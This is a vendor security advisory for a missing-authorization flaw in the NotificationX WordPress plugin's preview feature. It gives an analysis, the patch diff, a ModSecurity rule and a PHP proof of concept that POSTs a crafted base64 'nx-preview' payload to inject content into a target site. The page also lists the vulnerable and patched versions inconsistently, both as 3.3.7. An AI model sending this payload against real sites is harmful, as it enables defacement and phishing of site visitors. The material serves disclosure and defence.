Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-119303: NotificationX – FOMO, Live Sales Notification, WooCommerce Sales Popup, GDPR, Social Proof, Announcement Banner & Floating Notification Bar < 3.3.7 Missing Authorization PoC, Patch Analysis & Rule

Plugin notificationx
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.3.7
Patched Version 3.3.7
Disclosed November 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-119303: The NotificationX WordPress plugin (versions < 3.3.7) contains a missing authorization vulnerability in its preview functionality. The issue is rated 5.3 (Medium) with CWE-862. An unauthenticated attacker can supply a crafted POST request to render arbitrary notification content on the front end, potentially exposing sensitive data or enabling limited actions. The patch introduces nonce and capability checks, along with hardening of related rendering paths.

The root cause is in `includes/FrontEnd/Preview.php`. The `get_settings()` method previously only checked for the presence of the `nx-preview` POST parameter (`if ( empty($_POST['nx-preview']) )`). It decoded and used attacker-supplied settings without verifying the user's identity or intent. The `is_preview()` method similarly relied solely on the `nx-preview` parameter, and the `nx_is_preview` filter could be toggled by other code (e.g., the `Blocks.php` shortcode handler). This allowed any visitor to set `nx-preview` to a base64-encoded JSON payload, which would be treated as legitimate preview settings, causing the plugin to render notifications with attacker-controlled attributes. Furthermore, the `Blocks.php` code added a filter `nx_is_preview` that persisted for the entire request, widening the attack surface.

Exploitation requires sending a POST request to any front-end page that loads NotificationX assets (e.g., the home page) with two parameters: `nx-preview` containing a base64-encoded JSON payload and optionally other parameters to trigger specific rendering. For example: `POST / HTTP/1.1` with body `nx-preview=eyJ…` (base64-encoded JSON). The attacker can craft settings to display notifications with arbitrary text, images, or links, potentially used for phishing or defacement. The lack of nonce verification also means the request can be made cross-site (CSRF), though the primary risk is unauthorized data exposure and content injection.

The patch fixes the issue by introducing `is_authorized_preview_request()`, which verifies a nonce (action `nx-preview`, field `nx-preview-nonce`) and checks `current_user_can('edit_notificationx')`. This method is called from `get_settings()` and `is_preview()`, ensuring that only authenticated users with proper capabilities can supply preview payloads. The nonce is generated and localized in `PostType::get_localize_scripts()` as `notificationxTabs.preview_nonce`. Additionally, `Blocks.php` now removes the `nx_is_preview` filter after shortcode execution to prevent it from affecting the rest of the request. Related hardening in `PressBar.php` adds `can_render_block_bar()` to restrict block rendering to authorized posts, and `RatingEmail.php` adds a permission callback to prevent unauthenticated rating emails.

If exploited, an attacker can inject arbitrary notification content into front-end pages, potentially damaging site reputation, phishing users, or bypassing intended access controls. The vulnerability does not directly lead to privilege escalation or remote code execution, but it undermines the plugin's authorization model and can be used in conjunction with other weaknesses. The CVSS score of 5.3 reflects the medium impact due to limited integrity and confidentiality effects.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/notificationx/assets/admin/js/admin.asset.php
+++ b/notificationx/assets/admin/js/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-i18n', 'wp-media-utils', 'wp-polyfill'), 'version' => 'efc548f6f1633fc625d6');
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-i18n', 'wp-media-utils', 'wp-polyfill'), 'version' => 'c4daab9eb13c01b503fb');
--- a/notificationx/blocks/Blocks.php
+++ b/notificationx/blocks/Blocks.php
@@ -225,13 +225,19 @@
         $product_id     = ! empty( $block_attributes['product_id'] ) ? $block_attributes['product_id'] : '';
         $post_type     = ! empty( $block_attributes['post_type'] ) ? $block_attributes['post_type'] : '';
         $html      = '<div class="' . $block_attributes['blockId'] . ' notificationx-block-wrapper">';
-        if( 'wp_template' == $post_type ) {
-            add_filter('nx_is_preview',function(){
-                return true;
-            });
+        // Preview mode for this shortcode only. Left on, it would also turn
+        // preview mode on for the rest of the front-end request.
+        $force_preview = 'wp_template' == $post_type ? function(){
+            return true;
+        } : null;
+        if( $force_preview ) {
+            add_filter('nx_is_preview', $force_preview);
             $product_id = wp_rand();
         }
         $shortcode = do_shortcode( "[notificationx_inline post_type='{$post_type}' product_id='{$product_id}' id='{$nx_id}' show_link=false]" );
+        if( $force_preview ) {
+            remove_filter('nx_is_preview', $force_preview);
+        }
         if ( $shortcode ) {
             $html .= $shortcode;
         } else {
--- a/notificationx/includes/Abilities/Read/EntriesReader.php
+++ b/notificationx/includes/Abilities/Read/EntriesReader.php
@@ -79,7 +79,7 @@
         $where_sql = implode( ' AND ', $where );

         // Total matching (before pagination).
-        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Prepared below; only $wpdb->prefix table names are interpolated.
+        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, PluginCheck.Security.DirectDB.UnescapedDBParameter -- Prepared below; only $wpdb->prefix table names and the placeholder list are interpolated.
         $total = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$entries_table} e WHERE {$where_sql}", ...$values ) );

         $limit_sql   = '';
@@ -90,7 +90,7 @@
             $page_values[] = max( 0, (int) $offset );
         }

-        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Prepared below; only $wpdb->prefix table names are interpolated.
+        // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, PluginCheck.Security.DirectDB.UnescapedDBParameter -- Prepared below; only $wpdb->prefix table names and the placeholder list are interpolated.
         $rows = $wpdb->get_results(
             $wpdb->prepare(
                 "SELECT e.entry_id, e.nx_id, e.source, e.data, e.created_at, p.title AS notification_name
@@ -102,6 +102,7 @@
             ),
             ARRAY_A
         );
+        // phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare, PluginCheck.Security.DirectDB.UnescapedDBParameter

         return array( is_array( $rows ) ? $rows : array(), $total );
     }
--- a/notificationx/includes/Admin/Cron.php
+++ b/notificationx/includes/Admin/Cron.php
@@ -104,17 +104,18 @@
     public function cron_schedule($schedules) {
         $download_stats_cache_duration = Settings::get_instance()->get('settings.download_stats_cache_duration', 3);
         $reviews_cache_duration = Settings::get_instance()->get('settings.reviews_cache_duration', 3);
+        $translate = self::can_translate_labels();

         $schedules['nx_wp_stats_interval'] = array(
             'interval'    => MINUTE_IN_SECONDS * $download_stats_cache_duration,
             // translators: %s: no of minutes
-            'display'    => sprintf(__('Every %s minutes', 'notificationx'), $download_stats_cache_duration)
+            'display'    => sprintf($translate ? __('Every %s minutes', 'notificationx') : 'Every %s minutes', $download_stats_cache_duration)
         );

         $schedules['nx_wp_review_interval'] = array(
             'interval'    => MINUTE_IN_SECONDS * $reviews_cache_duration,
             // translators: %s: no of minutes
-            'display'    => sprintf(__('Every %s minutes', 'notificationx'), $reviews_cache_duration)
+            'display'    => sprintf($translate ? __('Every %s minutes', 'notificationx') : 'Every %s minutes', $reviews_cache_duration)
         );

         // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
@@ -123,6 +124,22 @@
         return $schedules;
     }

+    /**
+     * Whether `cron_schedules` callbacks may translate their labels yet.
+     *
+     * Other plugins can call wp_schedule_event() before `after_setup_theme`
+     * (WooCommerce's bundled Jetpack connection does it on wp-cron), which runs
+     * every `cron_schedules` callback. Translating then trips WordPress'
+     * _load_textdomain_just_in_time "called too early" notice (WP 6.7+), so the
+     * label stays in English for that request. Schedules are rebuilt on every
+     * request and the label is display-only, so nothing is stored untranslated.
+     *
+     * @return bool
+     */
+    public static function can_translate_labels() {
+        return did_action('after_setup_theme') || doing_action('after_setup_theme');
+    }
+
     public function update_data($post_id) {
         if (empty($post_id)) {
             return;
--- a/notificationx/includes/Admin/Rating/RatingEmail.php
+++ b/notificationx/includes/Admin/Rating/RatingEmail.php
@@ -37,7 +37,7 @@
             array(
                 'methods'             => WP_REST_Server::EDITABLE,
                 'callback'            => array($this, 'send_rating'),
-                'permission_callback' => '__return_true',
+                'permission_callback' => array($this, 'can_send_rating'),
                 'args'                => [],
             ),
         ));
@@ -55,9 +55,19 @@
         return $subject;
     }

+    /**
+     * Only users who can use NotificationX may send a rating. The sole caller is
+     * the "Rate NotificationX" widget in the admin builder; without this check any
+     * visitor could make the site email support@wpdeveloper.com.
+     *
+     * @return bool
+     */
+    public function can_send_rating() {
+        return current_user_can('read_notificationx');
+    }
+
     public function send_rating($request)
     {
-        update_option('nx_feedback_shared', true);
         $params = $request->get_params();
         $rating = isset($params['rating']) ? intval($params['rating']) : null;
         $review = isset($params['review']) ? sanitize_text_field($params['review']) : '';
@@ -65,6 +75,8 @@
         if (!$rating) {
             return new WP_REST_Response(['message' => 'Invalid rating'], 400);
         }
+
+        update_option('nx_feedback_shared', true);

         $to = self::$_mail_sendto; // Email recipient
         $subject = $this->email_subject();
--- a/notificationx/includes/Admin/Reports/ReportEmail.php
+++ b/notificationx/includes/Admin/Reports/ReportEmail.php
@@ -1,6 +1,7 @@
 <?php
 namespace NotificationXAdminReports;

+use NotificationXAdminCron;
 use NotificationXAdminSettings;
 use NotificationXCoreHelper as NotificationX_Helper;
 use NotificationXGetInstance;
@@ -216,17 +217,19 @@
      * @return array Filtered array of non-default cron schedules.
      */
     function schedules_cron( $schedules = array() ) {
+        // Labels stay in English when another plugin schedules a cron event too early; see Cron::can_translate_labels().
+        $translate = Cron::can_translate_labels();
         $schedules['nx_weekly'] = array(
             'interval' => 604800,
-            'display'  => __( 'Once Weekly', 'notificationx' )
+            'display'  => $translate ? __( 'Once Weekly', 'notificationx' ) : 'Once Weekly'
         );
         $schedules['nx_daily'] = array(
             'interval' => 86400,
-            'display'  => __( 'Once Daily', 'notificationx' )
+            'display'  => $translate ? __( 'Once Daily', 'notificationx' ) : 'Once Daily'
         );
         $schedules['nx_monthly'] = array(
             'interval' => strtotime( 'first day of next month 9AM' ),
-            'display'  => __( 'Once Monthly', 'notificationx' )
+            'display'  => $translate ? __( 'Once Monthly', 'notificationx' ) : 'Once Monthly'
         );
         return $schedules;
     }
--- a/notificationx/includes/Core/Helper.php
+++ b/notificationx/includes/Core/Helper.php
@@ -1120,10 +1120,12 @@
         // https://api.country.is/ with an empty IP, which would resolve to the
         // SERVER's country and cache nothing.
         if ($ip === '' || $ip === '127.0.0.1' || $ip === '::1') {
+            // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
             return apply_filters('nx_visitor_country_code', '', $ip);
         }

         if (array_key_exists($ip, $memo)) {
+            // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
             return apply_filters('nx_visitor_country_code', $memo[$ip], $ip);
         }

@@ -1139,6 +1141,7 @@
         // 'XX'/'T1' are Cloudflare's "unknown"/Tor placeholders — ignore them.
         if ($header_country !== '' && !in_array($header_country, ['XX', 'T1'], true)) {
             $memo[$ip] = $header_country;
+            // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
             return apply_filters('nx_visitor_country_code', $header_country, $ip);
         }

@@ -1153,12 +1156,14 @@
         $cached    = get_transient($cache_key);
         if (false !== $cached) {
             $memo[$ip] = $cached;
+            // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
             return apply_filters('nx_visitor_country_code', $cached, $ip);
         }

         $country      = '';
         // country.is over HTTPS (free, no key, no request logs). Before 3.3.5 this
         // was ip-api.com over plain HTTP: its free tier has no HTTPS (issue #184).
+        // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
         $api_endpoint = apply_filters('nx_visitor_country_api', 'https://api.country.is/' . rawurlencode($ip), $ip);
         $response     = wp_remote_get($api_endpoint, ['timeout' => 3]);

@@ -1179,13 +1184,16 @@
         // visitors) doesn't re-hit the API on every
         // subsequent page load while it recovers.
         $ttl = '' !== $country
+            // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
             ? (int) apply_filters('nx_visitor_country_cache_ttl', 12 * HOUR_IN_SECONDS)
+            // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
             : (int) apply_filters('nx_visitor_country_failed_cache_ttl', 5 * MINUTE_IN_SECONDS);
         if ($ttl > 0) {
             set_transient($cache_key, $country, $ttl);
         }

         $memo[$ip] = $country;
+        // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
         return apply_filters('nx_visitor_country_code', $country, $ip);
     }

--- a/notificationx/includes/Core/PostType.php
+++ b/notificationx/includes/Core/PostType.php
@@ -9,6 +9,7 @@
 use NotificationXExtensionsExtensionFactory;
 use NotificationXExtensionsGlobalFields;
 use NotificationXFrontEndFrontEnd;
+use NotificationXFrontEndPreview;
 use NotificationXGetInstance;
 use NotificationXNotificationX;
 use NotificationXTypesTypeFactory;
@@ -135,6 +136,8 @@
         $tabs['settings']['settingsRedirect'] = ! current_user_can( 'edit_notificationx_settings' );
         $tabs['settings']['analytics']        = $tabs['analytics'];
         $tabs['admin_url']                    = get_admin_url();
+        // Posted with every builder preview; see Preview::is_authorized_preview_request().
+        $tabs['preview_nonce']                = current_user_can( 'edit_notificationx' ) ? wp_create_nonce( Preview::NONCE_ACTION ) : '';
         $tabs['nx_feedback_shared']           = get_option('nx_feedback_shared',false);
         $tabs['scan_data']                    = [
             'nx_scan_count' => get_option('nx_scan_count',0),
--- a/notificationx/includes/Extensions/GlobalFields.php
+++ b/notificationx/includes/Extensions/GlobalFields.php
@@ -2435,9 +2435,7 @@
                     'denyButtonText'    => __( "<a href='https://notificationx.com/docs/how-to-create-a-cart-peek-notification/' target='_blank'>More Info</a>", 'notificationx' ),
                     'confirmButtonText' => __( "<a href='https://notificationx.com/#pricing' target='_blank'>Upgrade to PRO</a>", 'notificationx' ),
                     // phpcs:disable PluginCheck.CodeAnalysis.Offloading.OffloadedContent -- False positive for this context: remote documentation/pricing links in admin help text, not offloaded plugin assets.
-                    'html'              => __( '
-                <span>Show the live count of shoppers who currently have a product in their cart to spark urgency and boost conversions.</span>
-            ', 'notificationx' ),
+                    'html'              => '<span>' . __( 'Show the live count of shoppers who currently have a product in their cart to spark urgency and boost conversions.', 'notificationx' ) . '</span>',
                     // phpcs:enable PluginCheck.CodeAnalysis.Offloading.OffloadedContent
                 ],
             ],
--- a/notificationx/includes/Extensions/PressBar/PressBar.php
+++ b/notificationx/includes/Extensions/PressBar/PressBar.php
@@ -2026,7 +2026,7 @@
         $elementor_post_id = isset($settings->elementor_id) ? $settings->elementor_id : '';
         $gb_post_id = isset($settings->gutenberg_id) ? $settings->gutenberg_id : '';

-        if ($elementor_post_id != '' && get_post_status($elementor_post_id) === 'publish' && class_exists('ElementorPlugin')) {
+        if ($elementor_post_id != '' && get_post_status($elementor_post_id) === 'publish' && 'nx_bar' === get_post_type($elementor_post_id) && class_exists('ElementorPlugin')) {
             // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
             $elementor_post_id = apply_filters( 'wpml_object_id', $elementor_post_id, 'nx_bar', true);
             return ElementorPlugin::$instance->frontend->get_builder_content_for_display($elementor_post_id, false);
@@ -2034,6 +2034,9 @@
             // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
             $gb_post_id = apply_filters( 'wpml_object_id', $gb_post_id, 'wp_block', true);
             $post       = get_post($gb_post_id);
+            if ( ! $this->can_render_block_bar( $post ) ) {
+                return '';
+            }
             $content    = $post->post_content;
             $content    = do_blocks($content);

@@ -2043,6 +2046,27 @@
         }
     }

+    /**
+     * Whether a Gutenberg bar post may be rendered for the current visitor.
+     *
+     * The id comes from notification settings, which in preview mode come from
+     * the request. Only bar posts are rendered (`nx_bar_eb`, or `wp_block` from
+     * bars made before that type existed), and only when published without a
+     * password, unless the current user can edit the post.
+     *
+     * @param WP_Post|null $post Bar post.
+     * @return bool
+     */
+    public function can_render_block_bar( $post ) {
+        if ( ! $post instanceof WP_Post || ! in_array( $post->post_type, [ 'nx_bar_eb', 'wp_block' ], true ) ) {
+            return false;
+        }
+        if ( 'publish' === $post->post_status && '' === $post->post_password ) {
+            return true;
+        }
+        return current_user_can( 'edit_post', $post->ID );
+    }
+
     public function add_scripts($settings, $params){
         if(!empty($settings['gutenberg_id'])){
             $settings['gutenberg_url'] = get_permalink($settings['gutenberg_id']);
--- a/notificationx/includes/FrontEnd/FrontEnd.php
+++ b/notificationx/includes/FrontEnd/FrontEnd.php
@@ -275,6 +275,7 @@
          * @since 3.3.3
          * @param string[] $deps Script handles.
          */
+        // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
         $deps = apply_filters( 'nx_frontend_script_deps', [ 'wp-hooks' ] );
         $deps = is_array( $deps ) ? array_filter( $deps, 'is_string' ) : [];
         array_unshift( $deps, 'wp-hooks' );
@@ -433,7 +434,7 @@
         // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
         $post_id = apply_filters('wpml_object_id', $gutenberg_id, 'wp_block', true);
         $post    = $post_id ? get_post($post_id) : null;
-        if (!$post || '' === trim((string) $post->post_content)) {
+        if (!PressBar::get_instance()->can_render_block_bar($post) || '' === trim((string) $post->post_content)) {
             return;
         }
         // This runs inside <head> (wp_enqueue_scripts). A block whose render
--- a/notificationx/includes/FrontEnd/Preview.php
+++ b/notificationx/includes/FrontEnd/Preview.php
@@ -24,6 +24,12 @@
      */
     use GetInstance;

+    /**
+     * Nonce action and request field that authorise a preview request.
+     */
+    const NONCE_ACTION = 'nx-preview';
+    const NONCE_FIELD  = 'nx-preview-nonce';
+
     protected $notificationXArr = [];

     public function __construct() {
@@ -34,17 +40,25 @@
         add_filter('nx_inline_notifications_data', [$this, 'inline_notifications_data'], 10, 4);
         add_filter('nx_metabox_config', [$this, 'content_heading']);

+        // The preview check needs the current user and wp_verify_nonce(), which
+        // are not loaded while plugins are included. Priority 0 runs before
+        // Query Monitor's own plugins_loaded callback, so it can still be removed.
+        add_action('plugins_loaded', [$this, 'setup_preview_request'], 0);
+    }
+
+    /**
+     * Prepares the page for an authorised preview request.
+     *
+     * @return void
+     */
+    public function setup_preview_request() {
         if ($this->is_preview()) {
             show_admin_bar(false);
         }

         if ($this->is_preview() && class_exists('QueryMonitor')) {
             // Query Monitor renders its own output into the preview iframe and
-            // corrupts it, so display is silenced while building a preview.
-            // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged
-            ini_set('display_errors', 'Off');
-            // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged
-            ini_set('error_reporting', E_ALL);
+            // corrupts it, so it is not started while building a preview.
             $qm = QueryMonitor::init();
             remove_action('plugins_loaded', [$qm, 'action_plugins_loaded']);
         }
@@ -358,12 +372,12 @@
     }

     public function get_settings() {
-        // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reviewed for the NotificationX codebase: acceptable in this context.
-        if ( empty($_POST['nx-preview']) ) {
+        // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Verified in is_authorized_preview_request().
+        if ( empty( $_POST['nx-preview'] ) || ! $this->is_authorized_preview_request() ) {
             return array();
         }

-        // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reviewed for the NotificationX codebase: acceptable in this context.
+        // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Verified in is_authorized_preview_request().
         $settings = base64_decode( sanitize_text_field( wp_unslash( $_POST['nx-preview'] ) ), true );
         $settings = json_decode( $settings, true );

@@ -429,6 +443,9 @@
             'href'    => esc_url('https://notificationx.com/support/?support=chat'),
         ]);
         // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
+        // The nonce is not added here: GlobalFields::tabs() output is cached in
+        // the shared nx_builder_fields transient. PostType::get_localize_scripts()
+        // sends it per user as notificationxTabs.preview_nonce.
         $tabs['config']['content_heading']['preview'] = apply_filters('nx_content_heading_preview', [
             'label'  => __('Preview', 'notificationx'),
             'type'   => 'preview-modal',
@@ -518,12 +535,30 @@
         return $return;
     }

-    public function is_preview() {
-        $is_preview = false;
-        // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reviewed for the NotificationX codebase: acceptable in this context.
-        if (!empty($_POST['nx-preview'])) {
-            $is_preview = true;
+    /**
+     * Whether this request carries a preview payload from a user allowed to see it.
+     *
+     * The payload is rendered on the front end (shortcodes, block content), so
+     * it is accepted only with a valid `nx-preview` nonce from a user who can
+     * edit notifications. Called before the `nx_is_preview` filter, so code
+     * that switches preview mode on through the filter never makes the
+     * request payload readable.
+     *
+     * @return bool
+     */
+    public function is_authorized_preview_request() {
+        // phpcs:disable WordPress.Security.NonceVerification.Missing -- This method verifies the nonce.
+        if ( empty( $_POST['nx-preview'] ) || empty( $_POST[ self::NONCE_FIELD ] ) ) {
+            return false;
         }
+        $nonce = sanitize_text_field( wp_unslash( $_POST[ self::NONCE_FIELD ] ) );
+        // phpcs:enable WordPress.Security.NonceVerification.Missing
+
+        return wp_verify_nonce( $nonce, self::NONCE_ACTION ) && current_user_can( 'edit_notificationx' );
+    }
+
+    public function is_preview() {
+        $is_preview = $this->is_authorized_preview_request();
         // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound -- Reviewed for the NotificationX codebase: acceptable in this context.
         $is_preview = apply_filters('nx_is_preview',$is_preview);
         return $is_preview;
--- a/notificationx/notificationx.php
+++ b/notificationx/notificationx.php
@@ -3,7 +3,7 @@
  * Plugin Name:       NotificationX
  * Plugin URI:        https://notificationx.com
  * Description:       Social Proof & Recent Sales Popup, Comment Notification, Subscription Notification, Notification Bar and many more.
- * Version:           3.3.6
+ * Version:           3.3.7
  * Author:            WPDeveloper
  * Author URI:        https://wpdeveloper.com
  * License:           GPL-3.0+
@@ -26,7 +26,7 @@
  * Defines CONSTANTS for Whole plugins.
  */
 define( 'NOTIFICATIONX_FILE', __FILE__ );
-define( 'NOTIFICATIONX_VERSION', '3.3.6' );
+define( 'NOTIFICATIONX_VERSION', '3.3.7' );
 define( 'NOTIFICATIONX_URL', plugins_url( '/', __FILE__ ) );
 define( 'NOTIFICATIONX_PATH', plugin_dir_path( __FILE__ ) );
 define( 'NOTIFICATIONX_BASENAME', plugin_basename( __FILE__ ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-119303
SecRule REQUEST_METHOD "@streq POST" "id:2026119303,phase:2,deny,status:403,chain,msg:'CVE-2026-119303 NotificationX Preview Authorization Bypass',severity:'CRITICAL',tag:'CVE-2026-119303'"
  SecRule ARGS_POST:!nx-preview "@unconditionalMatch" "chain"
    SecRule ARGS_POST:!nx-preview-nonce "@unconditionalMatch" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-119303 - NotificationX < 3.3.7 - Missing Authorization

$target_url = 'http://example.com/'; // Change to target WordPress site

// Craft malicious preview settings as JSON
$settings = [
    'nx_id' => 1,
    'type' => 'comments',
    'source' => 'wp_comments',
    'content' => [
        'title' => 'Hacked!',
        'message' => 'This site is vulnerable to CVE-2026-119303'
    ],
    'design' => 'theme-one',
    'show_link' => true
];

$payload = base64_encode(json_encode($settings));

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'nx-preview' => $payload
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output result
echo "HTTP Status: $http_coden";
if ($http_code == 200) {
    echo "Request sent successfully. Check the page for injected notification.n";
    // Optionally search for injected content in response
    if (strpos($response, 'Hacked!') !== false) {
        echo "Vulnerability confirmed: injected content found in response.n";
    }
} else {
    echo "Request failed. The site may be patched or unreachable.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.